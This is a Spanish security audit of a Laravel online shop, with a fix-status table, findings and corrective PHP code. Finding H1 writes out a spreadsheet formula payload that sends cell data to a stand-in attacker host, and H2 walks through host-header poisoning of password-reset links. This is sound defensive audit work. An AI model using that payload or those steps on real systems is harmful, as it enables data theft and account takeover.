# Auditoría de seguridad — Mi Tienda v2

**Fecha:** 2026-07-25
**Alcance:** todo el código fuente de la aplicación (`app/`, `resources/views/`, `routes/`, `config/`, `bootstrap/app.php`), en su estado actual en `main`.
**Contexto del sistema:**
- Lenguaje/Framework: PHP 8.2 / Laravel 12 (+ Livewire 3/Volt, Spatie Laravel-Permission, Intervention Image, maatwebsite/excel, barryvdh/laravel-dompdf, spatie/laravel-backup).
- Base de datos: MariaDB 10.4.
- Entorno auditado: desarrollo (`APP_ENV=local`, `APP_DEBUG=true`), con vista puesta en el despliegue a producción real (ver `docs/checklist-lanzamiento.md`).
- Pasarelas/integraciones externas: Culqi, Izipay, PayPal, Nubefact (SUNAT).

**Metodología:** 6 revisiones paralelas de solo lectura, cada una enfocada en una dimensión (autenticación/control de acceso, inyección SQL/XSS/CSV, pagos/webhooks, carga de archivos, CSRF/rate limiting/config, datos sensibles/dependencias), leyendo el código real archivo por archivo — no un escaneo automático de patrones. `composer audit` y `npm audit` se ejecutaron como parte del proceso: **0 vulnerabilidades conocidas en dependencias**.

Esta auditoría complementa (no repite) la auditoría previa ya documentada en `resources/views/manual.blade.php` (sección 6.2), que corrigió 20 hallazgos anteriores. Aquí se **verificó explícitamente** que esas correcciones siguen vigentes, y se buscó **superficie nueva**: funcionalidades agregadas desde entonces (autoservicio "Mi perfil", exportación CSV/Excel de bitácora, protección de la cuenta del desarrollador) y dimensiones no cubiertas antes (headers HTTP, host header injection, resiliencia de pagos síncronos, fraude en COD).

---

## Estado de las correcciones (actualizado 2026-07-26)

El resto de este documento es el **reporte original de la auditoría** (hallazgos + solución propuesta en el momento). Esta tabla refleja qué se aplicó realmente y en qué commit — es la fuente de verdad sobre el estado actual, no las secciones de abajo.

| # | Hallazgo | Estado | Detalle |
|---|---|---|---|
| H1 | Inyección de fórmulas CSV/Excel en la bitácora | ✅ Corregido | `01c937d` — `App\Support\CsvSafety` |
| H2 | Host Header Injection | ✅ Corregido | `01c937d` — `trustHosts()` en `bootstrap/app.php` |
| H3 | Sin límite de intentos en `current_password` | ✅ Corregido | `01c937d` — `App\Support\RateLimitsReauthentication`, aplicado en Mi perfil, 2FA, cambio de contraseña y borrado de cuenta del cliente |
| H4 | `TRUSTED_PROXIES=*` anula el rate-limit por IP | ⏳ Pendiente (operativo, no de código) | Ya cubierto en `checklist-lanzamiento.md` sección 4 — restringir a la IP real del balanceador al desplegar |
| H5 | Sin timeout/manejo de `ConnectionException` en Culqi/PayPal | ✅ Corregido (parcial) | `4a87c49` — timeout + manejo de excepción en Culqi (PayPal ya tenía timeout propio en el SDK, no necesitó cambios). El job de reconciliación periódica sugerido **no se construyó** (mejora opcional, no bloqueante — ver sección 4 de este documento) |
| H6 | Sin rate limit en registro de cuentas | ✅ Corregido | `01c937d` |
| H7 | Sin límite de pedidos COD por cliente | ✅ Corregido | `01c937d` — máximo 2 pedidos COD pendientes por cliente |
| H8 | Livewire no revalidaba permisos en AJAX (`ProductForm`) | ✅ Corregido | `d3ca654` |
| H9 | Sin headers de seguridad HTTP | ✅ Corregido (sin CSP) | `d3ca654` — `SecurityHeaders` middleware. El `Content-Security-Policy` sigue sin activar a propósito (ver sección 4) |
| H10 | Backup sin contraseña garantizada en producción | ✅ Corregido | `4a87c49` — `backup:run` se salta solo si falta `BACKUP_ARCHIVE_PASSWORD` en producción |
| H11 | Log de PayPal sin curar | ✅ Corregido | `d3ca654` |
| H12 | Auto-edición de rol en Perfiles | ✅ Corregido | `d3ca654` |
| H13 | Backup solo en disco local | ⏳ Pendiente (operativo) | Requiere credenciales reales de un disco remoto (S3 u otro) — ya en `checklist-lanzamiento.md` sección 5 |
| H14 | JSON-LD sin flags `JSON_HEX_*` | ✅ Corregido | `d3ca654` |
| H15 | Sin `.htaccess` anti-ejecución en `storage/app/public/` | ✅ Corregido | `d3ca654` |
| H16 | Importación de Excel sin límite de filas | ✅ Corregido | `d3ca654` — tope de 2000 filas por archivo |
| H17 | `error_message` de Nubefact sin curar | ⏳ No aplicado (decisión consciente) | Solo lo ve un admin ya autenticado; curar el mensaje reduciría información de diagnóstico real sin cerrar ningún riesgo — no vale la pena el trade-off |
| H18 | Brokers de password-reset comparten tabla sin distinguir guard | ⏳ Informativo, sin acción | No hay flujo de "olvidé mi contraseña" para admins hoy; revisar esto **si** se implementa a futuro |
| H19 | `payments.provider_transaction_id` sin índice único | ❌ Descartado — habría roto el sistema | Evaluado e implementado, pero revertido: el sistema crea legítimamente una fila "pending" y otra "succeeded" compartiendo el mismo id de transacción (intento + confirmación de Culqi QR); la suite de tests lo detectó de inmediato. La idempotencia real ya está cubierta por `lockForUpdate()` + chequeo de estado (verificado OK) |
| H20 | Webhook de Culqi sin verificación de origen adicional | ⏳ Informativo, sin acción | Ya mitigado por diseño (re-consulta a la API real) |
| H21 | Seeder de admin sin guard de entorno | ⏳ No aplicado (decisión consciente) | Ya hay una advertencia explícita en `checklist-lanzamiento.md` sección 5 sobre no reutilizar `admin@mitienda.test`/`password` en producción; agregar un guard de entorno complicaría el flujo ya documentado de re-sembrar `manual.view` en la cuenta real (usado en esta misma sesión) |

---

## Re-verificación 2026-07-26 — funcionalidades agregadas después de la auditoría original

Desde la auditoría del 2026-07-25 se agregaron varias funcionalidades nuevas: moderación de reseñas, Libro de Reclamaciones Virtual, autocompletado y verificación de DNI/RUC, dirección por ubigeo + envío diferenciado por zona, y poda automática de la bitácora de actividad. Se re-verificó específicamente esa superficie nueva con 5 revisiones paralelas de solo lectura (misma metodología que la auditoría original: código real archivo por archivo, no escaneo automático de patrones), cubriendo: endpoints públicos nuevos, el panel admin de reseñas/reclamos, el servicio de consulta DNI/RUC, los modelos/migraciones nuevos, y la poda de bitácora junto con una revisión de posible regresión en el checkout.

**Resultado:** 2 hallazgos de severidad Media (ambos corregidos), 4 de severidad Baja (2 corregidos, 2 informativos sin acción por no ser explotables hoy). Ningún hallazgo Alto o Crítico. Se confirmó explícitamente que las protecciones ya existentes (límites de monto COD/Culqi QR, cálculo server-side de precio/envío/impuesto, permisos de reseñas/reclamos restringidos a super-admin, CSRF, ausencia de mass assignment) siguen intactas tras estos cambios — sin regresiones.

| # | Hallazgo | Severidad | Estado | Detalle |
|---|---|---|---|---|
| N1 | El Libro de Reclamaciones puede usarse como relay de correo hacia terceros: `consumer_email` no se verifica y el correo de confirmación lleva nombre/detalle/descripción de texto libre controlados por quien envía el formulario | Media | ✅ Corregido | Tope de 3 reclamos por día **por correo destino** (no por IP, así que no se evade rotando de IP) + campo honeypot oculto en el formulario público — `app/Http/Controllers/ComplaintController.php`, `resources/views/complaints/create.blade.php` |
| N2 | `DocumentLookupController` (endpoint público de autocompletado DNI/RUC) puede usarse como proxy gratuito hacia la cuota pagada del proveedor externo, agotándola o cosechando datos personales a escala; el throttle existente es solo por IP | Media | ✅ Corregido | Tope diario global compartido entre todas las IPs (`DOCUMENT_LOOKUP_DAILY_LIMIT`, 500 por defecto, configurable, 0 = sin tope) — `app/Services/DocumentLookupService.php`, `config/services.php` |
| N3 | Regex de validación de DNI/RUC sin el modificador `/D` de PCRE, permite que un salto de línea final pase la validación de "exactamente 8/11 dígitos" | Baja | ✅ Corregido | `app/Http/Controllers/DocumentLookupController.php` |
| N4 | `activity-log:prune` no tenía cota mínima en `retention_months` — un valor mal configurado (0 o negativo) vaciaría casi toda la bitácora reciente (aunque queda archivada a CSV, no se pierde, pero el panel quedaría vacío sin aviso) | Baja | ✅ Corregido | El comando ahora rechaza `retention_months < 1` con `self::FAILURE` y no borra nada — `app/Console/Commands/PruneActivityLog.php` |
| N5 | `Complaint::$fillable` incluye campos administrativos (`status`, `response`, `responded_at`, `responded_by_admin_id`) que hoy son seguros solo porque el controlador público arma el array a mano desde `$request->validate()`, nunca `$request->all()` | Baja | ⏳ Informativo, sin acción | No explotable en el código actual; queda anotado como riesgo a vigilar si algún refactor futuro reemplaza esa construcción explícita |
| N6 | Las tablas de ubigeo (`departamento→provincia→distrito`) usan `cascadeOnDelete()`, que en teoría podría borrar en cascada referencias usadas por pedidos históricos | Baja | ⏳ Informativo, sin acción | No explotable hoy: no existe ningún CRUD admin que permita crear/editar/borrar departamentos o provincias — son datos de solo lectura poblados por `UbigeoSeeder`. Revisar si algún día se agrega gestión admin de ubigeo |

Verificado con 6 tests nuevos (honeypot, tope por correo, tope diario global del lookup, límite 0 desactiva el tope, `retention_months` inválido) + toda la suite (434 tests en verde), Larastan y Pint limpios.

---

## 🚨 1. Vulnerabilidades Críticas y Altas

### H1 — [Alto] Inyección de fórmulas (CSV/Excel Formula Injection) en la exportación de la bitácora de actividad

**Archivos:** `app/Http/Controllers/Admin/ActivityLogController.php:38-44`, `app/Exports/ActivityLogExport.php:25-34`

Las columnas "Administrador" y "Detalle" de la bitácora se escriben en CSV (`fputcsv`) y Excel (PhpSpreadsheet) sin ningún escape. Excel/Google Sheets interpreta como fórmula ejecutable cualquier celda que empiece con `=`, `+`, `-`, `@`, tab o retorno de carro.

**Cadena de explotación confirmada (no requiere ningún permiso especial para el primer paso):**
1. Cualquier administrador autenticado — sin importar su rol — puede cambiar su propio nombre a algo como `=HYPERLINK("http://atacante.test/robo?d="&A1,"Ver")` desde `PUT /admin/mi-perfil` (`MyProfileController.php:23`, validación `'name' => ['required','string','max:255']`, sin restricción de caracteres iniciales).
2. Ese mismo admin realiza cualquier acción que quede en la bitácora (p. ej. cambiar el estado de un pedido, con solo el permiso `orders.manage`).
3. Un admin con `admins.manage` (el dueño de la tienda) exporta la bitácora para auditar actividad y abre el archivo → la fórmula se ejecuta en su máquina.

Segundo vector confirmado: el título de un producto (`ProductForm.php:164`, sin restricción de caracteres) se concatena sin escape en la descripción de una acción masiva (`ProductController.php:47-51`).

Es una escalación real de privilegio "hacia arriba": una cuenta de bajo privilegio siembra un payload que se ejecuta en la máquina de la cuenta más privilegiada del sistema.

---

### H2 — [Alto] Host Header Injection — falta `trustHosts()`, envenenamiento del enlace de reseteo de contraseña

**Archivo:** `bootstrap/app.php` (la llamada simplemente no existe)

Laravel 12 no confía en el host por defecto (`$trustHosts = false`), pero solo lo hace *cumplir* si se llama a `trustHosts()`. Sin ella, `url()`/`route()` construyen URLs absolutas usando el header `Host` (o `X-Forwarded-Host`) tal como venga en la petición, sin validarlo contra `APP_URL`.

**Escenario de explotación:**
1. El atacante hace `POST /forgot-password` con `email=victima@ejemplo.com` y header `Host: sitio-atacante.com`.
2. Laravel genera el correo de reseteo con el enlace apuntando a `https://sitio-atacante.com/reset-password/{token}?...` (el token en sí es válido en la BD real, independiente del host).
3. La víctima hace clic pensando que es el sitio legítimo; el atacante captura el token en su propio servidor.
4. El atacante visita `https://<dominio-real>/reset-password/{token}?email=victima@ejemplo.com` y toma control de la cuenta.

---

### H3 — [Alto] Sin límite de intentos sobre `current_password` en "Mi perfil", desactivar 2FA, y cambio de contraseña propio

**Archivos:** `routes/admin.php:45-46` (`PUT /admin/mi-perfil`), `app/Http/Controllers/Admin/TwoFactorController.php:70-72` (`destroy`), `resources/views/livewire/profile/update-password-form.blade.php:21-24`, `resources/views/livewire/pages/auth/confirm-password.blade.php:20-28`

Todos validan `current_password` sin ningún `RateLimiter`. Si un atacante obtiene acceso *temporal* a una sesión ya autenticada (XSS, cookie robada, equipo compartido) sin conocer la contraseña real, puede automatizar intentos de `current_password` (limitado solo por el costo de bcrypt, ~10/seg) hasta acertar una contraseña débil/reutilizada, y entonces **cambiar el email y la contraseña de esa cuenta** — convirtiendo un acceso temporal en una toma de cuenta permanente que sobrevive a la invalidación de la sesión original.

---

### H4 — [Alto, dependiente de configuración] `TRUSTED_PROXIES=*` puede anular el rate-limit de login por IP

**Archivos:** `bootstrap/app.php:36-38`, `.env.example:82`; claves de rate-limit en `app/Livewire/Forms/LoginForm.php:78-81`, `app/Http/Controllers/Admin/Auth/AdminLoginController.php:105-108`, `TwoFactorChallengeController.php:103-106`

Con `trustProxies(at: '*')`, Laravel confía en el header `X-Forwarded-For` venga de quien venga. Como las claves de rate-limit incluyen `request()->ip()`, un atacante puede enviar un `X-Forwarded-For` distinto en cada intento de login (`/login`, `/admin/login`, reto 2FA) y caer siempre en un "bucket" nuevo, evitando por completo el bloqueo de 5 intentos — permitiendo fuerza bruta/credential-stuffing ilimitado contra una cuenta conocida (ej. `admin@mitienda.test`). **Confirmado a nivel de código; falta confirmar si el `.env` real de producción restringe `TRUSTED_PROXIES` a la IP real del balanceador** (hoy el checkout es de desarrollo).

---

### H5 — [Alto] Sin manejo de timeout/`ConnectionException` en cargos síncronos (Culqi tarjeta/Yape, PayPal) → dinero cobrado pero pedido no marcado pagado

**Archivos:** `app/Services/Payments/CulqiService.php`, `IzipayService.php` (ninguna llamada `Http::` declara `->timeout()`/`->connectTimeout()`), `app/Http/Controllers/Checkout/CulqiCheckoutController.php:35-53,79-96`, `PayPalCheckoutController.php:53-87`

Un cliente paga con tarjeta: el cargo se ejecuta de verdad en Culqi/PayPal, pero si la conexión se corta al leer la respuesta (o el proceso se recicla), solo se captura `PaymentGatewayException` — una `ConnectionException` (timeout, DNS, conexión rechazada) no está cubierta. El pedido queda `pending`, la reserva de stock expira a los 30 min y el pedido se cancela **mientras el cliente ya pagó de verdad**. No existe ningún job de reconciliación que detecte esta discrepancia.

---

### H6 — [Medio-Alto] Sin rate limiting en el registro de cuentas

**Archivo:** `routes/auth.php:8-9` (`Volt::route('register', ...)`, solo middleware `guest`)

Ni la ruta ni el componente Volt de registro tienen `RateLimiter`. Como `User implements MustVerifyEmail`, cada registro dispara un correo real — un script puede automatizar creación masiva de cuentas (fraude de reseñas, ya que solo se exige `auth` para reseñar) y usarlo como vector de email-bombing hacia direcciones de terceros.

---

### H7 — [Medio-Alto] Sin control anti-fraude en pago contra entrega (COD) más allá del límite de monto

**Archivo:** `app/Services/OrderService.php:115-117` (límite de S/500 correcto y server-side), `app/Http/Controllers/CheckoutController.php:117-146` (checkout de invitado sin verificación de email)

No hay límite de **cuántos** pedidos COD puede crear un mismo cliente/teléfono en el tiempo (solo el throttle genérico de 10 POST/min del checkout). Cada pedido COD reserva stock 3 días. Un atacante puede automatizar pedidos COD con emails desechables para congelar inventario de productos populares (stock-lock) o para el fraude típico de "no-show" en reparto contra entrega.

---

## ⚠️ 2. Riesgos Medios y Bajos / Malas Prácticas

| # | Hallazgo | Severidad | Archivo:línea |
|---|---|---|---|
| H8 | Livewire no reaplica `permission:`/`admin.active` en las peticiones AJAX de `ProductForm` — un admin al que se le revoca el permiso o se desactiva mientras tiene la pestaña abierta puede seguir guardando cambios hasta recargar | Medio | `app/Livewire/Admin/ProductForm.php` (el middleware de ruta no cubre `/livewire/update`) |
| H9 | Ausencia total de headers de seguridad HTTP (`X-Frame-Options`, `X-Content-Type-Options`, `CSP`, `Referrer-Policy`, `HSTS`) — checkout/login embebibles en iframe (clickjacking) | Medio | Ninguno configurado en `bootstrap/app.php` |
| H10 | El backup (BD + storage completo) solo se cifra si `BACKUP_ARCHIVE_PASSWORD` está seteada en `.env`; si falta, el ZIP con datos de clientes queda sin cifrar | Medio | `config/backup.php:187` |
| H11 | Log de error de PayPal registra el `$response` completo sin curar (inconsistente con Culqi/Izipay, que sí curan) | Medio | `app/Http/Controllers/Checkout/PayPalCheckoutController.php:45` |
| H12 | `ProfileController::update` no impide que un admin edite su propio rol/estado desde Perfiles (sí lo impide `destroy`) — no explotable hoy porque `admins.manage` solo existe en `super-admin` (que ya tiene todo), pero es un hueco de diseño para un rol futuro más acotado | Bajo | `app/Http/Controllers/Admin/ProfileController.php:68-108` |
| H13 | Backup solo en disco local — si el servidor falla/se compromete, se pierde también el backup (ya autodocumentado en el propio `config/backup.php`) | Baja/Media | `config/backup.php:173-175` |
| H14 | JSON-LD de producto vía `{!! json_encode($jsonLd) !!}` sin flags `JSON_HEX_*` — riesgo bajo/teórico porque `json_encode` ya escapa `/` por defecto y el mismo dato se imprime escapado en otro punto de la misma vista | Bajo | `resources/views/catalog/product.blade.php:53` |
| H15 | Sin `.htaccess` anti-ejecución de PHP dentro de `storage/app/public/` — no explotable hoy (el servicio de imágenes nunca permite guardar otra extensión que `.jpg`), pero falta como cinturón de seguridad si se agrega un flujo de subida nuevo | Bajo | `storage/app/public/` (ausente) |
| H16 | Importación de Excel sin `WithChunkReading`/`ShouldQueue` ni límite de filas — un archivo de ~5 MB con muchas filas cortas podría acercarse al `max_execution_time`, dejando una importación parcial (mitigado: requiere sesión admin autenticada) | Medio/Bajo | `app/Imports/ProductImport.php`, `CategoryImport.php` |
| H17 | `error_message` de Nubefact guarda `$e->getMessage()` crudo, visible en el detalle del pedido — solo en panel admin (protegido), nunca al cliente | Bajo | `app/Services/NubefactService.php:54,218` |
| H18 | Los brokers de password-reset (`users` y `admins`) comparten la tabla `password_reset_tokens` sin distinguir guard — sin explotación hoy porque no existe flujo de "olvidé mi contraseña" para admins, pero es un riesgo latente si se implementa a futuro reusando el broker tal cual | Informativo | `config/auth.php:106-120` |
| H19 | `payments.provider_transaction_id` sin índice único — la idempotencia real hoy depende del lock de fila en `OrderService` (verificado OK), esto es solo una red de seguridad adicional a nivel de BD | Bajo | `database/migrations/..._create_payments_table.php` |
| H20 | Webhook de Culqi sin verificación de origen más allá de re-consultar la API — ya mitigado por diseño (un atacante no puede fabricar un "paid" falso, solo generar tráfico saliente, ya acotado por rate limit) | Bajo/Informativo | `app/Http/Controllers/Webhooks/CulqiWebhookController.php` |
| H21 | Seeder de admin sin guard de entorno — la contraseña `password` de `admin@mitienda.test` es aceptable como cuenta de desarrollo (documentada como tal en el propio manual), pero el seeder no está protegido contra un `db:seed` accidental en producción | Informativo | `database/seeders/DatabaseSeeder.php:16-21` |

**Verificado explícitamente que NO son hallazgos** (protecciones previas intactas, o diseño ya correcto): SQL injection (todo Eloquent/parametrizado, cero concatenación), XSS (la corrección previa en checkout con `@js()` sigue vigente, sin regresiones), IDOR en pedidos/reseñas/wishlist/subcategorías, mass assignment en ningún modelo, condiciones de carrera en cupones/stock (incremento atómico + `lockForUpdate`), CORS (no está ni publicado, `HandleCors` nunca hace match), credenciales de pasarelas 100% en `.env` sin hardcodear, `.env` correctamente fuera de git, `composer audit`/`npm audit` sin vulnerabilidades, subida de imágenes (UUID + validación MIME real + re-codificación destructiva con Intervention Image), enumeración de usuarios en "olvidé mi contraseña", flujo 2FA sin forma de suplantar a otro admin.

---

## 🛠️ 3. Soluciones y Código Corregido

### Solución H1 — Sanitizar celdas antes de exportar (CSV y Excel)

Crear un helper reusable y aplicarlo en ambos exports:

```php
// app/Support/CsvSafety.php
<?php

namespace App\Support;

class CsvSafety
{
    /**
     * Neutraliza el prefijo de fórmula (=, +, -, @, tab, CR) antepuesto un
     * apóstrofe, para que Excel/Sheets lo trate siempre como texto plano.
     */
    public static function cell(?string $value): string
    {
        $value = (string) $value;

        return preg_match('/^[=+\-@\t\r]/', $value) ? "'".$value : $value;
    }
}
```

```php
// app/Http/Controllers/Admin/ActivityLogController.php (dentro de exportCsv)
use App\Support\CsvSafety;

foreach ($logs as $log) {
    fputcsv($handle, [
        $log->created_at->format('d/m/Y H:i'),
        CsvSafety::cell($log->admin?->name ?? '—'),
        $log->actionLabel(),
        CsvSafety::cell($log->description),
    ]);
}
```

```php
// app/Exports/ActivityLogExport.php
use App\Support\CsvSafety;

public function map($log): array
{
    return [
        $log->created_at->format('d/m/Y H:i'),
        CsvSafety::cell($log->admin?->name ?? '—'),
        $log->actionLabel(),
        CsvSafety::cell($log->description),
    ];
}
```

Para blindar TODAS las exportaciones Excel futuras de una vez (no solo la bitácora), la opción más robusta es un `WithCustomValueBinder` global en `config/excel.php`, pero el fix puntual de arriba ya cierra el vector confirmado.

También conviene cortar el vector de entrada — restringir el nombre en "Mi perfil" a no empezar con esos caracteres:
```php
// app/Http/Controllers/Admin/MyProfileController.php
'name' => ['required', 'string', 'max:255', 'regex:/^[^=+\-@].*/'],
```

### Solución H2 — `trustHosts()`

```php
// bootstrap/app.php, dentro de ->withMiddleware(function (Middleware $middleware) {
$middleware->trustHosts(at: fn () => [parse_url(config('app.url'), PHP_URL_HOST)]);
```
Con esto, cualquier request cuyo `Host`/`X-Forwarded-Host` no coincida con el dominio real de `APP_URL` es rechazado (400) antes de generar ninguna URL.

### Solución H3 — Rate limit en re-autenticación con `current_password`

```php
// routes/admin.php
Route::put('/mi-perfil', [MyProfileController::class, 'update'])
    ->middleware('throttle:5,1')
    ->name('my-profile.update');
```

```php
// app/Http/Controllers/Admin/MyProfileController.php — antes del validate()
use Illuminate\Support\Facades\RateLimiter;

$key = 'admin-reauth:'.$request->user('admin')->id;

if (RateLimiter::tooManyAttempts($key, 5)) {
    throw ValidationException::withMessages([
        'current_password' => 'Demasiados intentos. Espera un minuto.',
    ]);
}

// ... dentro del validate(), si current_password falla:
RateLimiter::hit($key, 60);

// tras un update exitoso:
RateLimiter::clear($key);
```
Aplicar el mismo patrón (throttle de ruta + `RateLimiter` sobre `current_password`) en `TwoFactorController::destroy`, `update-password-form.blade.php` y `confirm-password.blade.php`.

### Solución H4 — Restringir `TRUSTED_PROXIES` en producción

No es un cambio de código sino de `.env` del servidor real:
```env
# Nunca "*" en producción — la IP real del balanceador/reverse proxy
TRUSTED_PROXIES=10.0.0.5
```
Si no hay proxy delante de la app, quitar la confianza por completo:
```php
// bootstrap/app.php
$middleware->trustProxies(at: []);
```

### Solución H5 — Capturar `ConnectionException` y agregar reconciliación

```php
// CulqiCheckoutController.php / PayPalCheckoutController.php
use Illuminate\Http\Client\ConnectionException;

try {
    // ... llamada Http:: existente
} catch (PaymentGatewayException|ConnectionException $e) {
    report($e);
    return back()->with('error', 'No pudimos confirmar el pago. Si se realizó un cargo, contáctanos con tu número de pedido.');
}
```
```php
// app/Services/Payments/CulqiService.php e IzipayService.php
Http::timeout(15)->connectTimeout(5)->post(...);
```
Y agregar un comando de reconciliación (`php artisan payments:reconcile`, programado cada 5-10 min en `routes/console.php`) que, para pedidos `pending` con intento de cargo Culqi/PayPal en los últimos 35 minutos, vuelva a consultar el estado real en la pasarela antes de dejar que expire la reserva.

### Solución H6 — Rate limit en registro

```php
// routes/auth.php
Volt::route('register', 'pages.auth.register')
    ->middleware('throttle:6,1')
    ->name('register');
```

### Solución H7 — Límite de pedidos COD por cliente

```php
// app/Services/OrderService.php, dentro de createPendingOrder(), antes de crear el pedido
if ($paymentMethod === 'cod') {
    $pendingCodCount = Order::where('contact_email', $contactEmail)
        ->where('payment_method', 'cod')
        ->where('status', 'pending')
        ->count();

    if ($pendingCodCount >= 2) {
        throw new CodNotAvailableException('Ya tienes pedidos contra entrega pendientes. Complétalos antes de crear uno nuevo.');
    }
}
```
Complementar exigiendo verificación de email (`middleware(['verified'])` o un chequeo explícito) antes de habilitar COD en el checkout de invitado.

### Solución H8 — Autorización explícita en Livewire

```php
// app/Livewire/Admin/ProductForm.php
private function authorizeAccess(): void
{
    $admin = auth('admin')->user();
    abort_unless($admin && $admin->active && $admin->can('catalog.manage'), 403);
}

public function mount($product = null) { $this->authorizeAccess(); /* ... */ }
public function save() { $this->authorizeAccess(); /* ... */ }
// idem en cada acción pública que mute datos
```

### Solución H9 — Middleware de headers de seguridad

```php
// app/Http/Middleware/SecurityHeaders.php
<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class SecurityHeaders
{
    public function handle(Request $request, Closure $next)
    {
        $response = $next($request);

        $response->headers->set('X-Frame-Options', 'SAMEORIGIN');
        $response->headers->set('X-Content-Type-Options', 'nosniff');
        $response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin');
        $response->headers->set('Permissions-Policy', 'geolocation=(), microphone=(), camera=()');

        if ($request->secure()) {
            $response->headers->set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
        }

        return $response;
    }
}
```
```php
// bootstrap/app.php
$middleware->append(\App\Http\Middleware\SecurityHeaders::class);
```
El CSP se deja fuera del middleware fijo a propósito — ver recomendación en la sección 4, porque necesita probarse contra los widgets de Culqi/Izipay y GA4/Meta Pixel antes de aplicarse en modo bloqueo.

### Solución H10 — Exigir contraseña de backup

```env
# .env de producción — obligatoria, no opcional
BACKUP_ARCHIVE_PASSWORD=<valor largo y aleatorio, generado una sola vez y guardado en el gestor de secretos>
```
Opcionalmente, fallar el backup explícitamente si falta, en vez de generarlo sin cifrar:
```php
// config/backup.php — o un check en un comando artisan propio antes de backup:run
if (app()->environment('production') && ! env('BACKUP_ARCHIVE_PASSWORD')) {
    throw new \RuntimeException('BACKUP_ARCHIVE_PASSWORD no está configurada.');
}
```

### Solución H11 — Curar el log de PayPal

```php
// app/Http/Controllers/Checkout/PayPalCheckoutController.php:45
Log::error('PayPal createOrder sin link de aprobación', [
    'order' => $order->order_number,
    'paypal_debug_id' => $response['debug_id'] ?? null,
    'name' => $response['name'] ?? null,
]);
```

### Solución H12 — Guard de auto-edición de rol en Perfiles

```php
// app/Http/Controllers/Admin/ProfileController.php::update(), al inicio
if ($adminProfile->id === $request->user('admin')->id) {
    abort(403, 'No puedes editar tu propio rol o estado desde aquí; usa "Mi perfil".');
}
```

Las soluciones de H13–H21 (severidad Baja/Informativa) son en su mayoría de configuración de infraestructura, no de código: agregar un disco remoto en `config/backup.php` (H13, ya anotado en el propio archivo), añadir `storage/app/public/.htaccess` con `<FilesMatch "\.(php|phtml)$">Require all denied</FilesMatch>` (H15), agregar `->chunk(500)` + `implements ShouldQueue` a `ProductImport`/`CategoryImport` (H16), y envolver el seeder en `if (app()->environment('local', 'testing'))` dentro de `DatabaseSeeder::run()` (H21).

---

## 📌 4. Recomendaciones adicionales

- **Antes de desplegar a producción**, revisar en conjunto con `docs/checklist-lanzamiento.md`: los hallazgos H2 (host header), H4 (TRUSTED_PROXIES) y H9 (headers/CSP) son mucho más relevantes una vez que exista un dominio y HTTPS reales — priorizarlos justo antes del lanzamiento, no en abstracto.
- **Content-Security-Policy**: desplegar primero en modo `Content-Security-Policy-Report-Only` durante 1-2 semanas para capturar qué necesitan realmente los widgets de Culqi/Izipay (suelen cargar iframes/scripts de dominios propios) y GA4/Meta Pixel, antes de pasar a modo bloqueo — un CSP mal calibrado puede romper el checkout en producción.
- **Dependencias**: `composer audit`/`npm audit` están limpios *hoy*; agregarlos como paso del CI (`.github/workflows/tests.yml`) para que cualquier vulnerabilidad nueva en una dependencia futura se detecte automáticamente en cada PR, no solo cuando se audite manualmente.
- **Monitoreo de errores en producción**: ya está anotado en `docs/checklist-lanzamiento.md` (sección 10) que no hay Sentry/Flare integrado — dado que esta auditoría encontró un caso real de "dinero cobrado, pedido no marcado" (H5) sin ninguna alerta automática, un servicio de monitoreo de errores dejaría de depender de que alguien revise `storage/logs/laravel.log` manualmente.
- **Cabecera `Strict-Transport-Security`**: solo tiene efecto una vez que el sitio sirva HTTPS de forma consistente (pendiente en el checklist de lanzamiento) — el middleware de H9 ya la aplica condicionalmente (`if ($request->secure())`), no hace falta tocarlo antes de tener HTTPS.
- **Reconciliación de pagos (H5)**: si el volumen de pedidos lo justifica, esto es más valioso que cualquier otro hallazgo de esta lista para la operación real del negocio — un pedido "perdido" por un timeout de red es dinero cobrado sin entregar el producto, un problema de confianza del cliente antes que de seguridad pura.
- **Próximo paso sugerido**: no aplicar los 21 hallazgos de una sola vez. Priorizar H1 (impacto inmediato, explotable hoy mismo en desarrollo/producción tal cual está) y H3 (afecta directamente la cuenta protegida del desarrollador que se construyó esta sesión), luego H2/H4/H9 en el momento del despliegue real, y el resto según disponibilidad.
